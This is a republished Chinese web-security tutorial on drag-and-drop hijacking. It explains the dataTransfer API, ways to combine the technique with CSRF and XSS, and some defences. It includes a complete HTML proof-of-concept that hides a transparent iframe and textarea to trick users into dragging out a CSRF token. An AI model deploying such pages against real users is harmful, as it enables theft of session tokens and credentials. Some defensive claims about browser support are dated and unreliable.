當前位置：首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Web安全之拖放劫持

發布時間：2025/3/15 编程问答 22 豆豆

生活随笔收集整理的這篇文章主要介紹了 Web安全之拖放劫持小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

拖放劫持發展歷程：

在2010的Black Hat Europe大會上，Paul Stone提出了點擊劫持的技術演進版本：拖放劫持。由于用戶需要用鼠標拖放完成的操作越來越多（如復制粘貼、小游戲等等），拖放劫持大大提高了點擊劫持的攻擊范圍，將劫持模式從單純的鼠標點擊拓展到了鼠標拖放行為。
最主要的是，由于拖放操作不受瀏覽器“同源策略“影響，用戶可以把一個域的內容拖放到另一個不同的域，由此攻擊者可能通過劫持某個頁面的拖放操作實現對其他頁面鏈接的竊取，從而獲得session key,token,password等敏感信息，甚至能將瀏覽器中的頁面內容拖進文本編輯器，查看源代碼。

2011年出現的Cookiejacking攻擊就是拖放攻擊的代表，此攻擊的成因是由于本地Cookie可以用標簽嵌入，進而就可以利用拖放劫持來盜取用戶的Cookie。在JavaScript或者Java API的支持下，這個攻擊過程會變得非常隱蔽。因為它突破了傳統ClickJacking一些先天的局限，所以這種新型的"拖拽劫持"能夠造成更大的破壞。

拖放劫持核心思路：

"拖放劫持"的思路是誘使用戶從隱藏的不可見iframe中"拖拽"出攻擊者希望得到的數據，然后放到攻擊者能控制的另外一個頁面中，從而竊取數據。（突破同源限制）

拖放劫持技術原理：

支持Drag&Drop API
主流的瀏覽器都有drag-and-drop API 接口，供網站開發人員創建交互式網頁。但是，這些 API 接口在設計時沒有考慮很多的安全性問題，導致通過拖拽就可以實現跨域操作。利用拖拽技術，攻擊者可以突破很多已有的安全防御措施，
利用拖拽技術，攻擊者可以輕易將文本注入到目標網頁。在實際實施過程中，攻擊者欺騙用戶選擇輸入框的內容，完成拖拽操作。另外一種方式是，通過瀏覽器的 API 接口將 iframe 中的內容拖拽到目標網頁的 text area 中，攻擊者就可以獲得用戶網頁中存在的敏感信息

dataTransfer對象

為了能夠協助通過拖放操作傳遞數據，在IE5.0以后引入了dataTransfer對象，他作為event對象的一個屬性出現，用于從被拖動的對象傳遞字符串到放置對象。 dataTransfer對象定義了兩個主要方法：getData()和setData()。
event.dataTransfer.setData(“text”,”sometext”);
event.dataTransfer.setData(“URL”,”http://www.a.com”);
var url = event.dataTransfer.getData(“URL”);
var text = event.dataTransfer.getData(“text”);
getData操作完成獲取由setData所存儲的數據。
setData操作完成向系統剪貼板中存儲需要傳遞的數據，傳遞數據分為兩種類型：文本數據和URL數據。在HTML5的擴展中，其允許指定任意的MIME類型。
有了dataTransfer對象和操作方法后，就為跨域傳遞數據提供了有效的技術手段

拖放劫持簡單實現：

使用iframe標簽導入另一網頁（假設帶有token），并設置成不可見覆蓋在要拖動圖片的上層。

在終點位置設置一個透明的textarea，用戶拖動圖片的過程其實是選中圖片上層載入的另一網頁資源，并將網頁資源移動到textarea中使用inner.html將源碼打印

在起點和終點處都加載要拖動的圖片，初始時起點圖片alpha為1，終點alpha為0，結束時起點alpha為0，終點alpha為1。

拖動函數drag（）和施放函數drop（）都命名在iframe和textarea中，并不是圖片拖動，使用戶以為自己在拖動圖片，其實拖動的是圖片上放的網頁資源

火狐瀏覽器拖動過程流暢沒有問題；IE瀏覽器在拖動時能明顯看出是在拖動網頁資源，而不是圖片；Chrome瀏覽器不可拖動。

簡單的界面，用戶需要將圖片拖拽進矩形框中，但在矩陣框和圖片上方各隱藏一個alpha為0的iframe和textarea，在testarea處隱藏著一個跟下方圖片一摸一樣的不可見的圖片資源。

點擊勾選的checkbox就可以看到隱藏的部分（iframe和textarea），其中iframe使用src加載了另一個網站資源（token.html）

當鼠標按在圖片上時，實際上是按住了iframe中的內容，同時將圖片的alpha值設為0，讓圖片在原位置“消失”，給用戶以為正在按住圖片的錯覺，當把鼠標移動至矩形區域內并松開的同時讓矩陣內隱藏的圖片完全顯示，讓用戶誤以為完成了拖動操作

用戶的拖動和釋放實際上是使用getdata方法和setdata方法，先將選中的信息儲存在剪貼板中然后將信息打印在textarea中，由于加載的網頁使用了攜帶token的form提交，所以就可以輕松拿到用戶的token信息。

drag_jacking.html:

<html><head> <title> Drag and Drop Attack Demo </title> <style type=“text/css”> #div1 {width:350px;height:70px;padding:10px;border:1px solid #aaaaaa;} .IFrame_hidden{ height: 50px; width: 70px; margin-left: 110px; overflow: hidden; opacity: 0; z-index: 2; position: absolute; } .text_area_hidden{ height: 69px; width: 336px; border:1px solid black; overflow: hidden; opacity: 0; position:absolute; contenteditable=“true”; z-index: 2; } .ball{ width: 336px; height: 59px; opacity: 1; position: absolute; z-index: 1; } .ball_1{ width: 336px; height: 59px; opacity: 0; position:absolute; z-index: 1; } .center{margin-right:auto; margin-left:auto; vertical-align:middle; text-align:center; margin-top:250px; } </style> </head> <body onLoad=“Init()”> <script> function allowDrop(ev){ ev.preventDefault(); }function drag(ev){ var ball = document.getElementById(‘drag1’); ball.style.opacity = 0; ev.dataTransfer.setData(“Text”,ev.target.id); }function drop(ev){ var ball_1 = document.getElementById(‘hide_ball_1’) ball_1.style.opacity = 1; var info = document.getElementById(“target”); info.innerHTML += ev.dataTransfer.getData(‘text/html’); } function Init(){ var source = document.getElementById(“source”); if(source.addEventListener){ target.addEventListener(“drop”,drag_iframe,false); } } </script> <p style=“margin-left: 630px;margin-top: 100px”>拖動機器人圖片到矩形框中:</p> <div id=“div1” οndrοp=“drop(event)” οndragοver=“allowDrop(event)” style=“margin-left: 550px;margin-top: 50px”> <img id=“hide_ball_1” src=“Dolphin.jpg” class=“ball_1”> <textarea id=“target” class=“text_area_hidden” οndrοp=“drop(event)” οndragοver=“allowDrop(event)”>text</textarea> </div> <br> <div id=“source” οndrag=“drag(event)” style=“margin-left: 550px;margin-top: 30px”> <img id=“drag1” src=“Dolphin.jpg” class=“ball”> <iframe id=“IFrame_1” src=“token.html” class=“IFrame_hidden” οndrag=“drag(event)” scrolling=“no”></iframe> </div> <div class=“center”> <center> <center> <input id=“showHide_frame” type=“checkbox” οnclick= " var IFrame_1 = document.getElementById(‘IFrame_1’); IFrame_1.style.opacity = this.checked ? ‘1’: ‘0’;"/> <label for=“showHide_frame”> show the jacked I–Frame </label>| <input id=“showHide_text” type=“checkbox” οnclick="var text_1 = document.getElementById(‘target’);text_1.style.opacity = this.checked ? ‘1’: ‘0’; "/> <label for=“showHide_text”> Show the jacked Textarea </label>| <input type=“button” value=“Replay” οnclick=“location.reload();reload_text();”> </center><br><br><b> </b> </center> </div> </body> </html>

token.html：

<!DOCTYPE HTML> <html> <head> <meta charset=“utf-8”> 111111 </head> <body> <form method=“post”> <input type=“hidden” name=“csrf_token” value=“0123456789”/> </form> <a href=“https://passport.testa.com/?logout$token=0123456789”>tuichu</a>22222222222222222 </body> </html>

拖放劫持與其他漏洞結合技術：

1、結合CSRF漏洞

CSRF (Cross-Site Request Forgery CSRF)是指跨站點請求偽造漏洞，目前廣泛使用的CSRF漏洞防御技術是 token 識別技術。token 是網站給每一次 HTTP 連接分配的隨機數，用來標識不同的用戶身份。對于網站開發人員，最方便實用的方法是將 token 存儲在頁面隱藏的表單中，最終跟隨信息共同提交到服務器端。服務器檢查該參數，判斷用戶身份的真實性。因此成功實施 CSRF 攻擊的關鍵因素是正確獲取 token 值，攻擊者需要將載入目標網頁 iframe 中 token 自動添加攻擊者可控組件后面。

2、結合XSS漏洞

Dragjacking 和反射型 XSS (跨站點腳本漏洞) 結合，轉變為存儲型XSS 漏洞。反射型 XSS 漏洞最重要的特征是難于利用。通過Dragjacking 漏洞，反射型 XSS 可以轉化為存儲型 XSS 漏洞，只要攻擊者預先編寫好payload并隱藏起來，用戶拖放此腳本到漏洞點，就可以在用戶瀏覽器上執行任意的JavaScript 代碼，因此具有極大的危害性。

拖放劫持防御方法：

1、更換更安全的瀏覽器并拒絕危險組件
目前只有FireFox和IE瀏覽器支持拖放功能，Chrome并不支持拖放功能，所以使用Chrome瀏覽器可在一定程度上防御拖放攻擊；對于IE瀏覽器來說，不使用ActiveX這類危險組件也可以有效防御拖放攻擊。
2、注意觀察拖放內容
在支持拖放功能的火狐和IE瀏覽器中，在拖動的過程中能清楚的看到鼠標移動時拖放的內容，對于拖放劫持而言圖片的“移動”并不是拖動的結果，而是兩個位置、兩張圖片，透明度交替變換的作用，真正移動的是圖片上方的js代碼，所以只要認真看清楚拖動的時候，鼠標下面是不是圖片就可以有效防御拖放劫持。

總結

以上是生活随笔為你收集整理的Web安全之拖放劫持的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。

Web
拖放

上一篇： bzoj4551: [Tjoi2016H
下一篇： mysql5.7.21源码安装